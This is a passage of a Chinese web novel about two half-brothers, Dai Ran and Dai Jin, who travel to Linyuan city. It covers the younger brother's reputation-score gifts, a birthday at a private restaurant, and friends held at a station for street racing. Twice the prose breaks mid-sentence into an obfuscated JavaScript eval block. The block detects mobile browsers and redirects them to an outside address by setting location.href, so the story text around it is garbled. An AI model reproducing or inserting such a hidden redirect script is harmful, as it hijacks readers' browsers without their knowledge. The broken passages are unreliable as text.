黛烬:? 黛烬越听越不理解。 “那你买这么多做什么?” 黛燃抬眼看车窗,借着倒影偷偷看黛烬,胡扯了个像样的理由。 “有其他人和我坐一起我不适应,直接全部包下来,这里就只有哥和我了。” 黛烬:? “这他妈不是纯烧钱吗?” 真是败家子。 黛燃却不以为意。 “可以解决麻烦,划算的呀哥。” 黛烬只觉得肉疼,这简直就是在花他未来的财产! 他属于是好了伤疤忘了疼,又旧事重提,一不小心就在黛燃的底线上蹦来蹦去地跳花绳。 “临少爷还真是不知人间疾苦。” 黛燃果然把耳机全都撩下来,却不躲不闪,心平气和地和黛烬沟通。 “为什么又叫我‘临少爷’,我已经改名了不是吗?” 真被黛燃这样挑出来问,黛烬就只会下意识地给自己找理由。 “流的是你们临家的血,这辈子哪怕落魄了也能是少爷。” 黛烬其实是在嘲讽,黛燃却没听出来,相反,他也觉得黛烬说的有道理。 他最擅长举一反三。 “那你是我哥,你也是少爷。” 黛烬马上扭回头看他。 “你他妈骂我还是哄我呢?” 黛燃摇头。 “都没有。” 黛烬被这眼神看的心里毛毛的,忽然福至心灵,难以置信地开口问。 “你不会真这样想吧?” 黛燃点头。 “真这样想啊。” 黛烬又没话说了。 他终于意识到黛燃眼里的关系与众不同,不会因为人的身份而发生变化,更不需要在社会身份这条轨道上换班。 只要和黛燃沾边的关系,什么都是直达。 黛烬咽了咽口水,问了个他不敢说,但一路以来都很在意的问题。 “那你把我当你哥,这辈子无论发生什么,这个身份都不会换吗?” 10. 【燃】编码 黛燃闻言,心也跟着颤了下,左手手指下意识蜷缩进掌心。 哥为什么忽然这样说? 百思不得其解。 难道是他哥又反悔,不想做他哥了? 但是他没有第二个哥哥了。 黛燃有点失落地收回看向他哥的视线,右手握着电子笔,指腹和指甲焦虑地来回刮擦着笔身。 还是把选择权还给他哥吧。 黛燃声音压得低,却字字坚定。 “只要哥愿意,你永远都是我哥。” 黛烬却一刻都等不了,马上追问! “那我要是——” 黛燃被黛烬没说完的话吓得呼吸一滞,顾不得思考,连忙接话打断自己不想听到的后半句话。 “什么?” 商务座的车厢安静又稳当,哪怕以最快的速度跑在早已编码好的路上,也依旧听得见惊慌之人心跳的回响。 黛燃觉得他的心跳简直是在乱拳打死老师傅,怎么会这么响?响得都不像是只有他一个人能发出来的…… 他被没了章法的乱拳锤得奄奄一息,求生的本能迫使他不得不去思考让自己濒危的原因。 他哥,果然有这个想法吗…… 果然还是不愿意做他哥吗…… 黛烬却忽然偃旗息鼓,把说到一半的话扔垃圾似的丢到一边。 “没什么。” 黛燃的心被拉扯得七上八下,慌乱间又觉得自己被耍,没忍住小声抱怨。 “哥又吊我的胃口。” 钝刀子割肉最疼,他不想听却又想问,几番挣扎,最后还是将视线小心翼翼地转回他哥身上,艰难地把话问出来。 “哥,不愿意做我哥吗?” 不知道为什么,他觉得他哥看起来有点紧张。 黛烬喉结上下滚动,主动避开看他的视线,话说得干干巴巴的。 “你今天过生日,明天就算成人了,做你哥,我今天愿意。” 黛燃又喜又悲。 原来是他今天过生日,他哥不想扫他的兴。 算了。 知足常乐。 “谢谢哥。” 黛燃不说话了,沉默着戴上耳机。 其实他有点想问“明天呢?” 但是人不能得寸进尺,尤其是对他哥,他这段时间尝到过苦头,就知道学乖了。 他哥喜欢乖小孩。 黛燃乖巧地听课。 他们上的网课是边直播边录播的形式,耳机戴上后,他在电子板上把进度条手动拨回那些错过的部分,为了赶上进度又加了倍速。 这节课是生物,讲的刚好就是遗传基因。 “DNA的碱基序列编码遗传信息,通过转录、翻译合成蛋白质……” 黛燃耳边听着课,却控制不住一心二用。 亲兄弟天然共享一部分相同的基因序列,编码出的遗传信息也就会有相同,相同的部分说不定还能连起来。 血缘纽带是活人身体里的毛细血管,又细又密,血液在管道内源源不断,也就不存在被切断的可能。 就算一方发了疯,试图拿刀去切去砍,最后也只会是做无用功,除了带走半条命以外没有任何作用。 黛燃又在想那个没可能的结果。 要是他和他哥是亲兄弟就好了。 这样他哥就丢不掉他了。 黛燃低着头,却刚好将黛烬眼里刚刚燃起的期盼悉数错过。 阴差阳错。 两人果真不是亲兄弟,所以编码出的信息总是对不上。 一个想着接,一个错着斩。 * “我们到站了,走吧哥。” 黛烬站起身,此时乘务员正好开门走进商务舱,把他带来的背包礼貌地递过来,他道了谢背上。 包里装的东西日常,重量却压手。 黛燃只背了一个小的斜挎包,他把电子板和笔收好,特意站在商务舱门等他哥。 包里装的东西重要,重量却轻盈。 直到黛烬先一步走在前面,黛燃才继续踏出新一步。 两人是这一班车最早下车的乘客,不需要排队,不需要人挤人,付出金钱就能换来的东西,远比想象中多得多。 二三区的空气每天都在晒日光浴,太阳高悬,暖和却不晒人。 但对于从下着雪的七八区来的人来说,就显得有点不友好了,两人感受着急速攀升的体温,被催促着手忙脚乱地脱掉“浴衣”。 他哥自然地接过他的外套,和自己的一起搭在手臂上,脚下一刻不停,率先顺着人流的方向往前走。 黛燃紧跟其后。 他只用背着自己轻便的斜挎包稍微落后他哥两步,就能同时换来两个人的自在。 他哥要的,其实真的很少。 他能给的,本来就不算多。 他哥想要走在他前面,他想要跟在他哥身边,他们凑在一起,刚刚好。 两人刚走出高铁站,黛燃就对着早已停在路边等候的司机招手。 他刚要走过去,忽然想到什么,又快走两步,拉上了他哥。 司机也显然看到了招手的黛燃,快速下车跑过来接人,走到黛燃面前就要喊。 “临——” 黛燃直接打断这个开头,收敛笑容,不厌其烦地一遍遍纠正司机。 “我叫黛燃,‘远山黛’的‘黛’。” 他又拉了拉他哥。 “这是我哥黛烬。” 他哥把他的话听得一清二楚,又在用眼神悄悄瞥他。 司机不好意思地搓搓手。 “不好意思啊黛先生,您来之前还特意交代了,你瞧我这记性差的,这不是着急来接您一时给忘了,您多担待。” 黛燃不再计较,点点头就拉着他哥往车的方向走。 他边走边拿出手机点进联盟提供的信誉值APP,在上面找到司机的个人信息,手指一点,复制了对方的ID。 他给司机新增了一个新的信誉值订单,订单编码21040302P1,显示是司机今天的第一笔信誉值交易。 他熟练地操作填写信息,他哥果不其然地看过来,开口问他。 “你这是做什么,给人打差评啊?” 他输入完最后一步,点击提交,笑着举起手机给他哥看。 “不是,我给他打好评涨分呢。” 屏幕上弹出一条消息提示。 (“23LY13”为“23ZY539”申请“信誉值增加1分”,审核评估通过) 黛烬有点吃惊。 “这都能批下来一分吗?” 黛燃点头。 “可以,我的账号权限等级比较高,只要申请的分数不要太过分,基本上都能过。” 他哥看着有点羡慕,但见他打的是好评而非差评,替司机松了口气。 黛燃主动解释。 “他把我的名字叫对了,我当然要给他好评。” 他哥颇为赞同。 “嗯,是该这样。” 黛烬话毕便停下脚步,环顾四周。 街边人来人往,车水马龙,像是从一条路边的风景就能由小及大,将整个繁华的临渊市一览无余。 他不禁发出一阵感叹。 “还是大城市机会多啊,叫对个名字就有机会加分。” 路边正是红灯,视线所及之处,所有人都在默默遵守交通规则跟着停步。 触景生情。 黛烬忽然笑了声。 “在七八区要是想涨两分,至少得是在红灯的时候,一口气冲到马路上把要闯红灯的老头老太太抢回路边,再有幸被巡逻的星探发现,才有一半的概率申请。” 黛燃觉得他哥是在提醒他,又马上新增了一个信誉值订单。 输入完信息,他空着【输出ID】一栏,将手机塞到他哥手里。 “哥你的ID是什么,你输进去,我也可以帮你申请。” 黛燃停下话音想了想。 “emm哥叫对了我的名字好多次,但是我一次申请上限是十分,那就给哥哥十分好不好?” 他故意把这话说得轻松,说得稀松平常,面上看着自然,心里却在悄悄打鼓。 他哥总是不要他的东西。 得想想办法。 黛燃表现得善解人意,像个金牌人生讲师,一句又一句条理清晰地劝他哥收下这第一份试课礼包。 “十分虽然不多,但是每个月可以多领到很多基础补贴,不要白不要。” “据我所知,不仅是用电用水量会多给额度,就连每个月的功能食品都能多领十袋呢。” “我这个账号,每个月固定有一百分的额度可以送出去,哪怕用不完也攒不住,自动失效,最后全都浪费了,多可惜。” 他把最重要的一条好处放在最后讲,语气诚恳,细细听来甚至像是在哄人。 “无论如何都对我造不成一点损失的,哥试试看?” 他亲手给台阶铺了一级又一级,站在一眼望不到头的台阶下,抬头等着他哥走下来,一步一步走下来,走到他身边。 黛烬终于没再拒绝,把ID信息写上,亲手帮他点了提交。 黛燃心满意足地拿回手机,等着系统提示出现。 屏幕上弹出一条消息提示。 (“23LY13”为“78ZY9993”申请“信誉值增加100分”,审核评估通过) 他把手机熄灭放回口袋,拉着他哥上了停在路边的车。 黛燃亲手帮他哥开了后排左侧的车门,看着他哥上车的背影,脑内思绪万千。 他很少骗人,因为没什么必要,他说的话是对就是对的,哪怕是错,他也能让现实改成对的。 但他哥不一样。 他愿意为他哥破例。 黛燃又打开手机,重新看了眼自己的ID信息。 他可是23开头的ID,打出生起就没听过送分还有上限这种东西。 要不是怕分数全部送出去要被联盟的人识别出问题,到时候送分失败,他差点儿把所有余额都送出去了。 不过现在也好,细水长流。 黛燃帮他哥关上门,再绕一圈走到车右侧,开门往里坐。 他又想起自己刚才说的,用不完的分数会失效,被自己随口扯的谎逗笑。 他的账号打出生起就姓临,上个月用不完的额度,当然可以破例往后面的月份存。 至于存额度的期限? 黛燃关上车门。 他坐在后排的右侧座位,刚好可以看到司机的方向盘,轮盘外圈是上好的皮质,正中央打下的,是一个大写的“L”。 期限,大概是截止到临家破产的那天吧。 但他临家自打发家起,定下的组训就从不批评人,形容家中的财富以及来源,八个字涵盖所有。 取之不尽,用之不竭。 * 黛烬坐上车后才忽然发觉哪里不对。 他人生地不熟的,不免紧张一切未知的风险,拉着刚上车的黛燃,主动凑近小声问。 “你这找的什么人,没问题吧?” 黛燃摇摇头,主动和他哥介绍起前排的司机。 “哥,这是我以前在临家熟识的司机叔叔,人很好的。” 黛烬这才放下心,他适应力强,工作换的多见识也广,南来北往的都能聊上两句,很快便自来熟地和司机攀谈起来。 黛燃低着头,把刚得到的信息发给朋友。 【dr】:我家这片儿的邮政编码是78ZY9993,记得寄账单 黛燃做完计划的最后一步,终于关掉手机,满意地露出笑容。 他的计划总是完美无缺,既可以做到不伤他哥的面子,还能不让人起疑,就成功套到了他哥的信息。 在副中心区,个人ID本来就是按照地区远近依序编码的。 开头两位标的是大区,他是23开头,就代表他的出生地在二三区。 二三区划分得很细,全区又都高度城市化,市区名字作为居住者体面的象征,耳熟能详,所以干脆加进了ID里。 个人ID是无声的荣誉,这里的所有居民都铭记在心。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531616|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黛燃出生起记住的第一串数字编码,就是他的个人ID。 23LY13 又短又精。 用他哥的话来说就是:这东西越短越值钱,多一位数都是失之毫厘,谬以千里。 如果有人用他的ID寄东西给他,他就能准确无误地在二三区临渊市1区3庄收到。 临渊市不小,但是能获得永久居住权,从而落户的房产并不多,因此每一个私人庄园都能排到号。 将个人ID直接作为邮政编码使用,在落户房产少的情况下,甚至比官方统一划分的分区编码用起来更方便。 他只熟悉自己出生的地方,至于他哥的家,想来应该也是差不多的吧。 季家掌管整个副中心区的电力,连带着季随之的网速都像是比一般人快一样,消息来的飞速,手里的手机被消息震得嗡嗡响。 【随便随便】:78开头的,你住七八区吗?! 【随便随便】:不是,这年头住三不管都不住七八区吧?图啥啊,位置又偏,房子又不值钱,这些年开发商在那一片儿建了多少烂尾楼?你还敢买那儿的房子 黛燃看他哥和司机叔叔聊得正嗨,他的心情也不免被传染着好了起来。 司机叔叔和他哥一见如故,聊到后面,事先交代过的东西全都被抛之脑后,老生常谈的问题,随口就抛出来畅所欲言。 “小黛啊,你房子买在哪儿啊?” 黛燃的头比他哥低得还快。 私密的空间里,有两个人都在问他和他哥家住哪里,他虽然不是在回答同一个人,回答的话却像是直接无缝代偿了。 【dr】:你问我吗? 【dr】:房子不是买的是租的,位置是我哥挑的地方,但你这样一说,我忽然想花钱买下来 【随便随便】:? 【随便随便】:你钱多得没处花吗? 【随便随便】:上次我不信邪,非要和朋友打赌,拍卖会上花四个月零花钱在七八区抢了块儿地,打算等升值卖掉,或者自己张罗着建个新楼盘 【dr】:结果呢? 【随便随便】:……赔得底裤都不剩 【随便随便】:我爸妈扣了我三个月零花钱啊,简直心狠!搞得我连车都开不起了 【随便随便】:不然你以为我之前凭什么陪你演戏? 黛燃这次回消息前想了很久,才终于下定决心。 【dr】:你那块儿地还在吗? 【随便随便】:还在啊,我的黑历史加一,被我表哥知道了得笑我一个月 做这种决定的时候黛燃却不怎么思考,随手便做了。 【dr】:我买下来 【随便随便】:? 【随便随便】:你也想被你表哥笑一个月吗? 【dr】:我真要买,没开玩笑,给我留着,到时候把地契和你车的电费账单一并寄给我,回去就给你打钱 【随便随便】:不是,到底为啥啊?没见过有人上赶着做赔本买卖 【随便随便】:那地建房子根本卖不掉,打着季家的名声都没人要 【dr】:我不卖 【dr】:我建房子自己住 【随便随便】:你没地方住了吗? 【dr】:有的是 【随便随便】:那你还买?我真搞不懂你的脑回路 【随便随便】:不过也是,你从小的想法就很难懂 【随便随便】:想买我的地可以,但是你得给我个能说服我的理由,不然你这钱我赚得不安心 黛燃看到这里,没忍住笑了一声。 他哥抽空看他一眼,眼里含着没说完的话,眼神就显得格外复杂。 他哥的窘迫他一眼都不敢多看,急忙躲开,敛了笑意继续打字回复。 【dr】:怎么,怕我拿你的地去做坏事? 【随便随便】:昂 【dr】:放心,我做正事 【随便随便】:是正事你就说出来,哥们也好帮你评估一下风险,毕竟你的钱也是钱不是? 车子里已经安静了足足五分钟,自从司机问出那个问题以后就再没人出声过。 除了黛燃的那一声笑。 黛燃用笑打断尴尬的氛围第一次,就用话打断第二次。 他抬起头,三言两语就把那个话题揭过去。 “我哥最近在七八区买了块儿地,具体作用叔叔您就别问了,至于房子,买了就定下来了,我哥年轻,忙着工作,还不急着定居。” 他哥像是没想到他会这么说,又害怕多说露馅,只能偷偷从车内后视镜看他。 黛燃刚从季随之那边吸取了经验,知道买地这种事情拿出来唬一下外行人足够了,便立马活学活用地给他哥撑场子。 司机马上“诶诶诶”地答应,不再多问,转而继续就着话题和黛烬聊起来。 “小黛你是燃燃的哥哥,本事肯定也大着呢!二十出头就能买地做生意,真是年轻有为!” 司机在下一个路口打方向盘拐了弯,车子驶入临渊市内最宽敞的车道,这条路黛燃最是熟悉,那是回临家的必经之路。 畅通无阻。 司机走在这样的路上才最安心,还有闲心扯点陈年往事出来打圆场。 眼见气氛不错,又聊嗨了,他不再拘束地叫黛燃黛先生,而是回到了从前熟悉的叫法。 “我成年之后就开始给燃燃他妈妈开车,算是看着燃燃长大的,这孩子,打小就有主意,又特别听话,给他妈妈省了不少事呢!” 黛烬终于接话。 “燃燃确实很听话。” 闻言,黛燃拿手机的手一顿。 他还是第一次听他哥叫他燃燃,好奇怪,好像和家里其他人叫他的感觉都不一样。 那个家的话题他嘴上轻轻揭过去,却自己牢牢记在心里。 黛燃再一次点开聊天框,一字一字,郑重无比地把消息打出来,连标点符号都完整带上。 发送。 比起消息,还不如说那更像一句对于未来的承诺。 【dr】:我想和我哥有个家。 11. 【烬】称呼 司机将两人安稳送到目的地。 “谢谢啊,麻烦您了。” 黛烬和司机道谢,没多等,干脆地开门下车,上车时是黛燃帮他开的门,他那时便留意着学会了这种豪车的开门方式。 下车后他就站在路边等,黛燃很快也站到他身边,他没看黛燃,而是一直盯着被关上门的车子,直到再也看不见。 司机开着车离开了,这里又只剩下他和弟弟。 黛烬此时才开口,话音里听不出是在呵斥还是在自嘲。 “黛燃,撒谎是不对的。” 他知道这话说出来的用处,可以说是几乎为零。 那是黛燃为了他的面子才撒的谎,追根究底还是他的问题,无论是要指责还是要呵斥,对象都应该是他而非黛燃。 自讨没趣。 但黛烬总是喜欢自讨没趣。 黛燃却像是没听到他说的话似的,也学着他的样子,自讨没趣地自说自话。 “哥刚才不是这样叫我的。” 有些称呼不堂而皇之地指出来,还觉得那是顺理成章,可一旦被人指着要解释,黛烬就不免觉得臊得慌。 要不是手里没有趁手的铲子,再加上在二三区破坏公共设施他赔不起,他真想当场挖个地洞钻进去。 黛烬差点把“无地自容”四个大字写在脸上,连忙转身用背影把正脸藏起来。 “叫你燃燃犯法吗?” 余光里的黛燃没再步步紧逼,而是站在原地,大概又在用那双漂亮的眼睛直勾勾地看他,然后顺着他说上几句漂亮话。 “不犯法。” 就像这样。 黛燃又给了他一次面子,他刚要松口气,只听黛燃紧接着补了句。 “但是我喜欢。” 黛烬不自在地视线乱飘,头抬了低,低了转,最后只憋出一句。 “喜欢非得说出来吗?” 黛燃说话总是理直气壮的,带着和他截然相反的,与生俱来的底气。 “不说的话哥怎么知道?” 黛烬一紧张就口不择言。 “我非得知道吗?” 黛燃却丝毫不受他的情绪影响。 “当然,哥知道的话我会高兴。” 两人又站在路边僵持不下,一如初见,这次黛燃却不再站在原地旁观,而是直接上手拉着他往定好的餐厅走。 黛烬被拉着走,两个眼睛轮流放哨,边走边假装很忙地给自己找点事情做。 他警惕地打量四周,可无论怎么看,都觉得自己是格格不入的人。 感受着黛燃的脚步越来越快,他只得被迫加快脚步跟紧。 越靠近餐厅大门,他心里越是紧张得怦怦跳。 进门,黛烬提心吊胆地跟着黛燃走,却没想到一路上居然一个客人都没见到。 所经之处别说客人,就连端盘子的服务生,以及结账的前台都没见到一个。 他瞬间放下怦怦乱跳的心,化紧张为疑惑,快走几步到黛燃身边。 “这儿一个人都没有,你这找的什么地方?” 黛燃停下脚步,一动不动地回身看他,也不说话。 黛烬看他这样,忽然福至心灵,想到了个可怕的可能。 “你不会还想听我叫你□□吧?” 黛燃依旧不说话,却微不可察地点了头。 黛烬一想到那个称呼,全身都控制不住打了个寒颤。 谁说没有最绝望的死法? 黛烬在家从来没有叫小名的习惯,他妈也没给他起小名,一想到要叫这种亲昵的称呼,他尴尬得简直想五体投地! 但处在完全陌生的环境里,他本来就不多的安全感刹那间丢了个精光,心想哪怕是五体投地,他也得找一块儿熟悉的地才行啊,现在很显然没有。 他没地方躲,连尴尬都无所遁形。 好像这种时候只有顺着黛燃,他的安全感才能多上几分。 他不由后悔起来。 早知道刚才就顺了这小子的意,直接把那个称呼混着话一起说出来,还能多少转移点儿注意力。 现在卡在这儿不上不下的,最难开口了…… 搞得跟小时候六一儿童节,老师非要派他上去表演个节目一样,大张旗鼓得让人尴尬到脚趾扣地。 时隔多年,黛烬重新有了种被老师贴上个眉心花钿,临时顶上缺席女生的位置推上台的手足无措感。 那个称呼明明就两个字,他却像是从牙缝里挤出来一样艰难。 “燃燃。” 黛燃听完称呼也没笑他,反而像是打了个没打完的哈欠,把眼眶都憋得通红。 黛烬没敢多看。 他本来盯着黛燃看,是为了抓住这小子的把柄,好重新夺回主动权。 却怎么都没想到黛燃会是这个反应,他也不再抓着这个事情不放,问回之前的问题。 “这儿为什么没人啊?” 黛燃终于不再看他,将视线移到一楼大堂内部,一副意料之中的样子。 他刚才的样子像是在打哈欠,这会儿的声音也像没睡醒一样有点闷闷的。 “没人,我让他们下班了。” 黛烬显然没听懂意思。 “你让他们下班?” 黛燃点头。 “这家餐厅是我妈妈的产业之一,我昨天通知了今天闭店,除了我谁都不接待,所有餐厅员工我都给了一天带薪假。” 黛烬还没说话,黛燃再次看向他。 “厨师例外,但除了上菜以外,他们都待在后厨或者休息室,不会来打扰我们,哥把这里当自己家就行。” 黛燃看了眼腕表。 “时间还早,我朋友都还没来。” 黛烬一言不发地听着安排,黛燃看不够似的,又在看他。 “我带哥转转吧,麻烦哥帮我挑一间好位置,我要拿来过生日。” * 两人一楼包房转完,就坐电梯上二楼接着转,二楼转完还有三楼。 黛烬转得晕头转向。 心想要是他以后有钱了,吃饭肯定不走这种迷宫,头都能转晕。 但他也没忘了自己来的目的,转每个包房都尽心竭力。 被委以重任的黛烬,多希望自己高中学的不是语数外物化生这种应试学科,而是室内设计、建筑、美术…… 其实他也不知道到底学什么才可以在这种时候起到作用。 总之要把他学的有审美一些,至少可以看出这些个个都堪称富丽堂皇的房间们,到底有什么可以鉴赏出的区别。 没办法。 他想让自己起到作用。 看不懂的摆件瓷瓶,他一遍又一遍地看细节,看纹路,他想从配饰入手,试图进一步推导出房间的配置; 看不懂的餐具摆放,他尽量在脑子里推演联想使用场景,他觉得好用的,大概就是最贵的最好的。 他不知道他要不要这样做,也不知道他为什么这样做,更不知道他这样做对不对,从头到尾都像个没头苍蝇一样虚张声势,到处乱撞。 他只知道,他想给黛燃最好的。 但人没见过没用过的东西,光靠脑补,其实用处不大。 黛烬越努力,越深感无力。 努力很显然不会让他跨越阶层,只能让他更清晰地意识到,什么叫做阶层。 他和黛燃的阶层,天差地别。 人总是后知后觉,喜欢做事后诸葛,用已经犯过的错误三省其身。 他不该总是对黛燃这样阶层的人呼来喝去,黛燃说他是哥哥,他扮演好一个哥哥就行了,尽哥哥的义务。 老实说,这才是成年人的生存法则。 服务好阶层高的人,素质高的话,再顺手帮助一下阶层低的人。 这样回报才最大。 而不是靠自己廉价的心意,去任性又反复地拉扯那些他不该妄想的称呼和关系。 黛烬又拿起一套新餐具细细研究。 喜欢和合适的关系,就像是乞丐出门捡到十块钱,走两步就恰巧找到一家彩票店,排队买下最后一张没人要,落满了灰的彩票,最后刮出世所罕见的一等奖。 乞丐就这样摇身一变成了富豪。 说这么多,无外乎就是四个字。 遥不可及。 黛烬收回打量的目光,放下餐具。 这里没有服务生,黛烬却觉得服务生才是更适合他做的工作。 毕竟他连挑剔餐具的动作,都像是服务生在检查工作。 这里除了黛燃没有其他人,他却觉得听见了第三个嘲讽他的声音: 做自己应该做的事情吧黛烬,而不是像个上帝一样挑三拣四。 什么身份的人,做什么身份的事。 他是什么身份呢? “哥。” 黛燃不会读心术,却在此时巧夺天工地接住了他心里的话。 黛烬愣愣地应了声。 “嗯。” 黛燃叫他哥。 一语点醒梦中人! 对啊,他的身份是黛燃的哥哥,黛燃是客户,是上帝。 他是上帝的哥哥。 黛燃也看了一圈包房的设计,但很快又把重点放回他身上。 “哥,你喜欢这里吗?” 黛烬刚被叫醒,像是机器人被临时恢复成出厂设置,少见地实话实说了一次。 “我不知道什么是该喜欢的,也不知道合不合适。” 黛燃却近乎是一语道破天机! “喜欢就是喜欢,喜欢就是合适。” 黛烬 黛烬 黛烬也不知道说什么了。 他张嘴几欲开口,却一个字都说不出来,只是辅助鼻腔多给大脑喘了几口气。 喜欢,就能代表合适吗? 没人教他还能这样想问题,大脑一片空白,什么逻辑都烟消云散,黛烬只觉得这才是真正的青年大学习! 他又要开口,却迟疑着要不要加上称呼。 有些称呼,合适的时候喊出来就自然,不合适的时候喊出来就觉得别扭,但好在都还在可以喊出来的范畴。 但有些称呼,是喊不出来的。 至少现阶段黛烬喊不出来,也不知道明天的他是否比今天有本事,可以想喊什么喊什么。 要是明天还和今天一样没本事,那他怕是这辈子都没机会再喊出来了,更没机会换上新称呼代表的新身份。 没说出口的称呼,被黛烬手忙脚乱地拆吞入腹,理智操控他换上一个更正式的称呼取而代之。 “黛燃。” “怎么了哥?” 又是哥。 黛烬没和说这话的黛燃争辩,左脑和右脑自由搏击,忽然又不喜欢这个称呼了,忍不住在心里反驳。 他其实独生子当惯了,他根本不想要个凭空多出来的弟弟。 可是如果换不上新称呼新身份的话,他就得和黛燃做一辈子兄弟。 那会怎么样? 黛烬不知道,但黛烬不愿意。 (不愿意又怎么样?) (喜欢就是合适。) (不愿意又怎么样?) (喜欢就是合适。) 两句话反复交叉在脑海里唱山歌,此起彼伏,吵得黛烬理智全无,他一把挥散纷杂的思绪,决定鲁莽一次。 “黛燃,我不——” 黛烬机不可失时不再来的时机到了,但话刚说到一半,时机就像是在耍他玩一样,想一出是一出地开溜。 黛燃的手机响了。 他看着屏幕上显示的备注,有点奇怪地滑动着接听。 电话刚接通,季随之的声音就迫不及待地在耳边放鞭炮一样炸开。 “燃燃救我!” * 黛燃生日当天,过生日的和来过生日的,一个不落地都到了位于第三大道的第七星所报道。 刚刚转正的一星探员黛水净安排被抓来的几人站成一排,挨个训话。 “说多少次了主干道上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531617|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不允许飙车,不允许飙车,你们几个是一句都不听啊?” 星所外七歪八扭地摆着七八辆竞速摩托,为首的季随之打扮得光鲜亮丽,头上却戴着和一身西服正装格格不入的赛车头盔。 他把取下来的头盔用指尖勾着,背在身后,吹吹杂乱的头发,心中可惜自己为了赴宴刚做的新发型。 探员还在面前训话,他就敢忽视,公然和站在他左手边的黛燃蛐蛐。 “燃燃你听我解释,我这不新提了辆车嘛,有点手痒,而且大中午的临渊市堵车啊,谁想到骑车跑一半儿就倒霉地被截停了。” 黛燃没他那么大胆,趁着说话的探员扭过头,才连忙小声接话。 “我不是说了不让你骑车来吗?这几天春运,路上肯定查得严。” 季随之扒扒已经凌乱的头发,怒瞪站在他右手边的牧昼眠。 “谁想到就那么巧,要不是牧老二拖后腿,我差点儿就跑了的。” 牧昼眠揉揉手腕,不反驳,只是对着黛燃做了个委屈的哭脸。 黛燃有点烦躁。 “你们现在被带来,今天都别想回去了。” 季随之理亏,狡辩的声音都小了不少。 “所以才叫燃燃你来救救我们啊。” 黛烬站在黛燃左边,听两人窃窃私语就大致明白了来龙去脉。 说白了就一群小孩儿违规飙车,正好被路过巡逻的星探抓了个正着。 黛烬悄悄打量星所内部,他一向是守法好公民,还是第一次来这种地方。 黛水净照例训完话就开始走规矩开罚单,她写一张撕一张,撕一张递一张,确保不会厚此薄彼,人人都有份。 她边递罚单边不忘嘱托。 “一人一张罚单,时效都是24小时的,除了罚金,每个人都扣三分信誉值,记得按时缴费,超时会再扣信誉值三分。” 季随之撇撇嘴,显然不把罚单这种东西放在心上,还有心情找茬。 “怎么什么都是三分三分。” 黛水净抬眼看他。 “你不服?” 季随之没接话,也没接递来的罚单,一副死猪不怕开水烫的样子,富N代的架势摆得足足的。 黛水净见状直接把罚单收回,又手写一张新的,两张夹一起,不再礼貌地递,而是直接一把塞到季随之手里。 “不满意三分也没事,你不是初犯了,你一个人扣六分。” 季随之彻底傻眼。 他虽然嘴上挑衅,但这个月如果再扣六分,他的信誉值额度马上就见底了,到时候被他爸妈知道他干的那些“好事”,他一定没好下场。 季随之立马服软,把手里新开的一张罚单恭敬地递回去。 “姐你放我一马,我看刚才那张挺好的,我不要这张。” 眼看黛水净无动于衷,他又当场编起理由来。 “我对这纸过敏,多摸一张我就得发病。” 黛水净懒得理他。 “叫姐没用,唱rap也没用。” 她几步走过季随之身边,往左走向下一个人,撕下一张新罚单刚要递出去,耳边就先传来一句许久没听过的称呼。 “小姨?” 她把罚单塞到黛燃手里,看都没看,就手下没停地写下一张,准备递给说话的人。 “少跟我攀关系,叫姐不行,叫我姨更不行,只要是违规都一视同仁,你叫我妈都没用。” 话毕,她还是觉得那叫她小姨的声音耳熟。 新罚单写到一半,她忽然抬头看了眼面前的人,却没想到果然看见了那张好久没见,但十分熟悉的脸,不敢置信。 “还真是我大外甥!” 黛烬从黛燃手里拿过罚单,重新递回给黛水净。 “小姨,我俩没犯法啊,都是被叫来接人的,谁成想跑太快了,一进门就被当成同伙一起赶到这儿罚站来了。” 黛水净还懵懵的,没想到能在工作的地方见到千里之外的亲人,听黛烬这样说,她下意识接话。 “你陪谁来?” 都这种时候了,黛烬藏也藏不住,只得拉着黛燃给黛水净介绍。 “我弟弟。” 黛水净跟着看了眼黛燃,越看越懵,完全在状况外。 “你哪儿来的弟弟?我姐就你一个儿子啊,她都离婚这么多年了,什么时候生的二胎?而且人都这么大了。” 黛烬一听到有人提他妈,猝不及防的愧疚,瞅准机会狠狠给了他迎面一击,他顿时被打得眼冒金星,只得低头看地板。 “不是,他是我爸的儿子。” 黛水净正大脑风暴,星所的门忽然被人推开,身后传来一个清冷稳重的男声。 “怎么了?” 她立刻转身报告。 “探长,刚抓回来几个主干道上飙车的,挨个开罚单呢。” 被称为探长的男人点点头,不再多问,大步往办公室走,还没走两步却忽然被人叫住。 黛燃从小的规矩,让他看到认识的人就下意识打招呼。 “表哥。” 男人脚步一顿,黛烬也被这声忽如其来的表哥惊了一下,视线在男人和黛燃身上来回打转。 黛燃主动和黛烬介绍起男人的身份。 “哥,这是我表哥临玉。” 黛烬只觉得这场面荒谬,但他给黛燃面子,跟着喊了人。 “表哥好。” 临玉被这接连两声表哥喊得终于回了头,没想到能在这儿看到自己那个听说已经改了姓的表弟。 他给黛水净使了个眼色,黛水净明白意思,点头答应,又主动找出一间空的调解室打开门。 临玉先走进去,招招手让黛燃和黛烬进来。 直到门被关上,临玉才解了颗上衣扣子喘口气,又把袖扣解开,袖子往上卷了两节。 他率先在椅子上坐下,视线来回在黛燃和黛烬身上逡巡,最后锁在黛燃身上,语气听不出喜怒。 